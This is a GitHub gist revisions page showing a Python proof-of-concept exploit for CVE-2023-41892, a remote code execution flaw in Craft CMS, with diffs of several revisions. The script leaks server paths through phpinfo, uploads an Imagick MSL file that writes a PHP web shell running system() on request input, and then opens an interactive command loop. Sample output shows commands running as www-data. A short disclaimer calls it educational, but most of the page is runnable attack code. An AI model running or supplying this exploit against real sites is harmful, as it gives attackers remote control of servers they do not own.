Skip to content

Instantly share code, notes, and snippets.

@graypwn
Forked from to016/CVE-2023-41892-POC.md
Created December 17, 2023 15:05
Show Gist options
  • Save graypwn/d85aab1c945575a0622323ab30b4e30f to your computer and use it in GitHub Desktop.
Save graypwn/d85aab1c945575a0622323ab30b4e30f to your computer and use it in GitHub Desktop.

Revisions

  1. @to016 to016 revised this gist Dec 12, 2023. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2023-41892-POC.md
    Original file line number Diff line number Diff line change
    @@ -29,7 +29,7 @@ def writePayloadToTempFile(documentRoot):
    "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
    <image>
    <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
    <write filename="info:DOCUMENTROOT/cpresources/shell.php">
    <write filename="info:DOCUMENTROOT/cpresources/shell.php" />
    </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
    }

  2. @to016 to016 revised this gist Oct 30, 2023. 1 changed file with 0 additions and 1 deletion.
    1 change: 0 additions & 1 deletion CVE-2023-41892-POC.md
    Original file line number Diff line number Diff line change
    @@ -80,7 +80,6 @@ if __name__ == "__main__":
    print("[-] Get temporary folder and document root ...")
    upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
    tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
    print(tmpDir)
    print("[-] Write payload to temporary file ...")
    try:
    writePayloadToTempFile(documentRoot)
  3. @to016 to016 revised this gist Oct 29, 2023. 1 changed file with 13 additions and 15 deletions.
    28 changes: 13 additions & 15 deletions CVE-2023-41892-POC.md
    Original file line number Diff line number Diff line change
    @@ -6,6 +6,8 @@ CVE-2023-41892 is a security vulnerability discovered in Craft CMS, a popular co

    ## POC

    This POC is depending on writing webshell, so finding a suitable folder with writable permission is necessary.

    ```python
    import requests
    import re
    @@ -27,11 +29,11 @@ def writePayloadToTempFile(documentRoot):
    "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
    <image>
    <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
    <write filename="info:DOCUMENTROOT/cpresources/css/shell.php">
    <write filename="info:DOCUMENTROOT/cpresources/shell.php">
    </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
    }

    response = requests.post(url, headers=headers, data=data, files=files, proxies={"http": "http://localhost:8080"})
    response = requests.post(url, headers=headers, data=data, files=files)

    def getTmpUploadDirAndDocumentRoot():
    data = {
    @@ -40,7 +42,7 @@ def getTmpUploadDirAndDocumentRoot():
    "config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
    }

    response = requests.post(url, headers=headers, data=data)
    response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})

    pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
    pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
    @@ -56,10 +58,10 @@ def trigerImagick(tmpDir):
    "configObject[class]": "craft\elements\conditions\ElementCondition",
    "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
    }
    response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})
    response = requests.post(url, headers=headers, data=data)

    def shell(cmd):
    response = requests.get(url + "/cpresources/css/shell.php", params={"cmd": cmd})
    response = requests.get(url + "/cpresources/shell.php", params={"cmd": cmd})
    match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)

    if match:
    @@ -78,6 +80,7 @@ if __name__ == "__main__":
    print("[-] Get temporary folder and document root ...")
    upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
    tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
    print(tmpDir)
    print("[-] Write payload to temporary file ...")
    try:
    writePayloadToTempFile(documentRoot)
    @@ -96,18 +99,13 @@ if __name__ == "__main__":
    shell(cmd)
    ```

    Environment's from [ACTF 2023](https://adworld.xctf.org.cn/match/guide?event_hash=706a7a8c-65a0-11ee-ab28-000c29bc20bf)

    ```
    python CVE-2023-41892.py http://192.168.169.128/
    [-] Get temporary folder and document root ...
    [-] Write payload to temporary file ...
    [-] Trigger imagick to write shell ...
    [-] Done, enjoy the shell
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    $
    ```
    ![image](https://user-images.githubusercontent.com/77546253/278870010-5ca35b02-a475-448f-ad8e-dffaf12c5d30.png)

    Result

    ![image](https://user-images.githubusercontent.com/77546253/278870066-79e0353b-df49-4918-ba46-ab1f005d13a5.png)

    ## Additional Resources

  4. @to016 to016 revised this gist Oct 29, 2023. 1 changed file with 3 additions and 3 deletions.
    6 changes: 3 additions & 3 deletions CVE-2023-41892-POC.md
    Original file line number Diff line number Diff line change
    @@ -27,7 +27,7 @@ def writePayloadToTempFile(documentRoot):
    "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
    <image>
    <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
    <write filename="info:DOCUMENTROOT/shell.php">
    <write filename="info:DOCUMENTROOT/cpresources/css/shell.php">
    </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
    }

    @@ -59,7 +59,7 @@ def trigerImagick(tmpDir):
    response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})

    def shell(cmd):
    response = requests.get(url + "/shell.php", params={"cmd": cmd})
    response = requests.get(url + "/cpresources/css/shell.php", params={"cmd": cmd})
    match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)

    if match:
    @@ -77,7 +77,7 @@ if __name__ == "__main__":
    url = sys.argv[1]
    print("[-] Get temporary folder and document root ...")
    upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
    tmpDir = "/tmp" if upload_tmp_dir == "no value" else upload_tmp_dir
    tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
    print("[-] Write payload to temporary file ...")
    try:
    writePayloadToTempFile(documentRoot)
  5. @to016 to016 revised this gist Sep 24, 2023. 1 changed file with 17 additions and 19 deletions.
    36 changes: 17 additions & 19 deletions CVE-2023-41892-POC.md
    Original file line number Diff line number Diff line change
    @@ -15,7 +15,7 @@ headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
    }

    def writePayloadToTempFile():
    def writePayloadToTempFile(documentRoot):

    data = {
    "action": "conditions/render",
    @@ -26,15 +26,14 @@ def writePayloadToTempFile():
    files = {
    "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
    <image>
    <read filename="caption:&lt;?php echo "pre";@system(@$_REQUEST['cmd']); echo "sub"; ?&gt;"/>
    <write filename="info:/var/www/html/craftcms/web/shell.php">
    </image>""", "text/plain")
    <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
    <write filename="info:DOCUMENTROOT/shell.php">
    </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
    }

    response = requests.post(url, headers=headers, data=data, files=files, proxies={"http": "http://localhost:8080"})

    response = requests.post(url, headers=headers, data=data, files=files)

    def getTmpUploadDir():
    def getTmpUploadDirAndDocumentRoot():
    data = {
    "action": "conditions/render",
    "configObject[class]": "craft\elements\conditions\ElementCondition",
    @@ -43,11 +42,12 @@ def getTmpUploadDir():

    response = requests.post(url, headers=headers, data=data)

    pattern = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'

    match = re.search(pattern, response.text, re.DOTALL)

    return match.group(1)
    pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
    pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'

    match1 = re.search(pattern1, response.text, re.DOTALL)
    match2 = re.search(pattern2, response.text, re.DOTALL)
    return match1.group(1), match2.group(1)

    def trigerImagick(tmpDir):

    @@ -75,13 +75,12 @@ if __name__ == "__main__":
    exit()
    else:
    url = sys.argv[1]
    print("[-] Get temporary folder ...")
    upload_tmp_dir = getTmpUploadDir()
    print("[-] Get temporary folder and document root ...")
    upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
    tmpDir = "/tmp" if upload_tmp_dir == "no value" else upload_tmp_dir

    print("[-] Write payload to temporary file ...")
    try:
    writePayloadToTempFile()
    writePayloadToTempFile(documentRoot)
    except requests.exceptions.ConnectionError as e:
    print("[-] Crash the php process and write temp file successfully")

    @@ -100,14 +99,13 @@ if __name__ == "__main__":

    ```
    python CVE-2023-41892.py http://192.168.169.128/
    [-] Get temporary folder ...
    [-] Get temporary folder and document root ...
    [-] Write payload to temporary file ...
    [-] Crash the php process and write temp file successfully
    [-] Trigger imagick to write shell ...
    [-] Done, enjoy the shell
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    $
    $
    ```


  6. @to016 to016 revised this gist Sep 24, 2023. No changes.
  7. @to016 to016 revised this gist Sep 24, 2023. No changes.
  8. @to016 to016 revised this gist Sep 24, 2023. 1 changed file with 7 additions and 0 deletions.
    7 changes: 7 additions & 0 deletions CVE-2023-41892-POC.md
    Original file line number Diff line number Diff line change
    @@ -116,3 +116,10 @@ $
    For more information and insights into this CVE, I would like to extend my thanks to Calif, who provided a reference to their blog post covering this topic:

    - [Calif's Blog Post - Craft CMS Remote Code Execution](https://blog.calif.io/p/craftcms-rce)


    ## Disclaimer

    This Gist is intended for educational purposes only and should not be used for any malicious activities. Always ensure you have the necessary permissions and follow ethical guidelines when testing or researching security vulnerabilities.

    For any questions or clarifications, please feel free to reach out. Stay safe and secure!
  9. @to016 to016 created this gist Sep 24, 2023.
    118 changes: 118 additions & 0 deletions CVE-2023-41892-POC.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,118 @@
    This Gist provides a Proof-of-Concept (POC) for CVE-2023-41892, a Craft CMS vulnerability that allows Remote Code Execution (RCE).

    ## Overview

    CVE-2023-41892 is a security vulnerability discovered in Craft CMS, a popular content management system. Craft CMS versions affected by this vulnerability allow attackers to execute arbitrary code remotely, potentially compromising the security and integrity of the application.

    ## POC

    ```python
    import requests
    import re
    import sys

    headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
    }

    def writePayloadToTempFile():

    data = {
    "action": "conditions/render",
    "configObject[class]": "craft\elements\conditions\ElementCondition",
    "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
    }

    files = {
    "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
    <image>
    <read filename="caption:&lt;?php echo "pre";@system(@$_REQUEST['cmd']); echo "sub"; ?&gt;"/>
    <write filename="info:/var/www/html/craftcms/web/shell.php">
    </image>""", "text/plain")
    }


    response = requests.post(url, headers=headers, data=data, files=files)

    def getTmpUploadDir():
    data = {
    "action": "conditions/render",
    "configObject[class]": "craft\elements\conditions\ElementCondition",
    "config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
    }

    response = requests.post(url, headers=headers, data=data)

    pattern = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'

    match = re.search(pattern, response.text, re.DOTALL)

    return match.group(1)

    def trigerImagick(tmpDir):

    data = {
    "action": "conditions/render",
    "configObject[class]": "craft\elements\conditions\ElementCondition",
    "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
    }
    response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})

    def shell(cmd):
    response = requests.get(url + "/shell.php", params={"cmd": cmd})
    match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)

    if match:
    extracted_text = match.group(1).strip()
    print(extracted_text)
    else:
    return None
    return extracted_text

    if __name__ == "__main__":
    if(len(sys.argv) != 2):
    print("Usage: python CVE-2023-41892.py <url>")
    exit()
    else:
    url = sys.argv[1]
    print("[-] Get temporary folder ...")
    upload_tmp_dir = getTmpUploadDir()
    tmpDir = "/tmp" if upload_tmp_dir == "no value" else upload_tmp_dir

    print("[-] Write payload to temporary file ...")
    try:
    writePayloadToTempFile()
    except requests.exceptions.ConnectionError as e:
    print("[-] Crash the php process and write temp file successfully")

    print("[-] Trigger imagick to write shell ...")
    try:
    trigerImagick(tmpDir)
    except:
    pass

    print("[-] Done, enjoy the shell")
    while True:
    cmd = input("$ ")
    shell(cmd)
    ```


    ```
    python CVE-2023-41892.py http://192.168.169.128/
    [-] Get temporary folder ...
    [-] Write payload to temporary file ...
    [-] Crash the php process and write temp file successfully
    [-] Trigger imagick to write shell ...
    [-] Done, enjoy the shell
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    $
    ```


    ## Additional Resources

    For more information and insights into this CVE, I would like to extend my thanks to Calif, who provided a reference to their blog post covering this topic:

    - [Calif's Blog Post - Craft CMS Remote Code Execution](https://blog.calif.io/p/craftcms-rce)